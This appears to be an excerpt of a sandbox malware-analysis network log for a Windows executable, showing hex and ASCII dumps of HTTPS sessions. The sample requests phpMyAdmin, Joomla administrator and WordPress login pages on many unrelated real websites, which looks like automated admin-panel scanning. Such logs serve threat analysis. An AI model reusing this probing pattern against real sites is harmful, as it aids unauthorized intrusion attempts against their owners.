2023-11-26 05:59:35 UTC	7831	IN	Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 Data Ascii: 3d96<!DOCTYPE html><html lang="de-DE"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://www.grg17geblergasse.at/xmlrpc.php" /><script type="text/javascript">document.docume
2023-11-26 05:59:35 UTC	7941	IN	Data Raw: 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e Data Ascii: right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained >
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 74 6f 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4f 70 65 6e 20 53 61 6e 73 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 65 Data Ascii: 1f40to;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7e
2023-11-26 05:59:35 UTC	7822	IN	Data Raw: 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 35 73 20 65 61 73 65 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 35 73 20 65 61 73 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 65 33 62 64 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2a 20 68 74 6d 6c 20 2e 63 6c 65 61 72 66 69 78 2c 3a 66 69 72 73 74 2d 63 68 69 6c 64 2b 68 74 6d 6c 20 2e 63 6c 65 61 72 66 69 78 7b 7a 6f 6f 6d 3a 31 7d 2e 69 70 68 6f 6e 65 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f 6e 5f 76 69 64 65 6f 5f 62 67 20 76 69 64 65 6f 3a 3a 2d 77 65 62 6b 69 74 2d 6d 65 64 69 61 2d 63 6f 6e 74 72 6f 6c 73 2d 73 74 Data Ascii: kit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-st
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 6c 61 78 5f 62 67 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 62 67 5f 70 68 6f 6e 65 2c 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 62 67 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 62 67 5f 74 61 62 6c 65 74 2c 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 5f 5f 68 6f 76 65 72 2c 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 5f 70 68 6f 6e 65 2c 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 2e 65 74 5f 70 61 72 61 6c 6c 61 78 5f 67 72 61 64 69 65 6e 74 5f 74 61 62 6c 65 74 2c 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f 6e 5f 70 61 72 61 6c 6c 61 78 5f 68 6f 76 65 72 3a 68 6f 76 65 Data Ascii: 1f40lax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hove
2023-11-26 05:59:35 UTC	1505	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 36 36 36 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 31 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 32 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 33 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 34 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 35 2c 2e 65 74 5f 70 62 5f 62 67 5f 6c 61 79 6f 75 74 5f 64 61 72 6b 5f 70 68 6f 6e 65 20 68 36 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e Data Ascii: {color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!importan
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	57704	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:34 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:34 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:34 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	57923	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	235	OUT	GET /administrator/index.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/administrator/
2023-11-26 05:59:33 UTC	208	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 62 61 63 6b 65 6e 64 3a 20 76 61 72 6e 69 73 68 5f 73 73 6c 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 26 Nov 2023 05:59:35 GMTContent-Length: 0Connection: closex-backend: varnish_sslStrict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	57773	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	304	OUT	GET /administrator/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=3dbfg2bnrmlhvmjhpi48421sg2 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	429	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:33 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	57803	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	233	OUT	GET /administrator/index.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/administrator/
2023-11-26 05:59:34 UTC	425	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 58 2d 52 65 64 69 72 65 63 74 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 0Connection: closex-powered-by: WP EnginePragma: no-cacheExpires: Sun, 26 Nov 2023 06:59:34 GMTX-Redirect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	58036	67.205.16.72	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	310	OUT	GET /administrator/index.php HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip Cookie: pbid=1edc227536cb7fc30f88097431cc67116634c85ffdbc8581853118f953068a74 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://capforge.com/administrator/
2023-11-26 05:59:34 UTC	347	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 61 64 6d Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheExpires: Sun, 26 Nov 2023 06:59:34 GMTCache-Control: max-age=3600X-Redirect-By: WordPressUpgrade: h2Connection: Upgrade, closeLocation: https://capforge.com/adm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	58125	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	231	OUT	GET /administrator/index.php HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.avient.com/administrator/
2023-11-26 05:59:34 UTC	639	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/administrator/index.phpServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	58082	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	230	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=25spuedk1v8jkqk9dcaj8tnufu User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
